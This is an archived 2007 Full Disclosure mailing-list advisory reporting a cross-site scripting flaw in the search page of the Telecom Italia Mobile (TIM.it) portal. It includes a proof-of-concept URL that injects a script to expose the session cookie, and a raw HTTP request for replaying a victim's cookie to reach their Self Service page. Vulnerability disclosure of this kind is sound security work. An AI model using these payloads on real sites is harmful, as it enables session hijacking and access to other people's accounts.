Full Disclosure mailing list archives
Script Injection / XSS vulnerability in TIM web portal
From: "Gianni Amato" <guelfoweb () gmail com>
Date: Thu, 12 Jul 2007 16:59:09 +0200
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 TIM (Telecom Italia Mobile) is a big italian phone company. The web portal TIM.it is vulnerable to XSS attacks in search function ( http://www.tim.it/ricerca/d/areaconsumer/ricercasito.do). An attacker can steal cookie session and access with victim credential, inject html or arbitary script code. Cookie view/steal: http://www.tim.it/ricerca/d/areaconsumer/ricercasito.do?query=%3Cscript%20%0a%0d%3Ealert(document.cookie)%3B%3C/script%3E&area=119%20Self%20Service Access to Self Service personal page: Get Request to: https://www.tim.it/119/cruscotto/descrizioneservizi/wp.do Host: www.tim.it User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9 ,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: insert cookie victim - -- Gianni Amato http://www.gianniamato.it/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: http://firegpg.tuxfamily.org iD8DBQFGlkGeTxmfm2InrN8RAqoFAJ9L2qIfw6h8/Jjo2RDh0MXinxWqdACeNwJe fqj1R7QJhCl7cFGsPSiIwjs= =nt8r -----END PGP SIGNATURE-----
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Script Injection / XSS vulnerability in TIM web portal Gianni Amato (Jul 13)
- <Possible follow-ups>
- Script Injection / XSS vulnerability in TIM web portal Gianni Amato (Jul 13)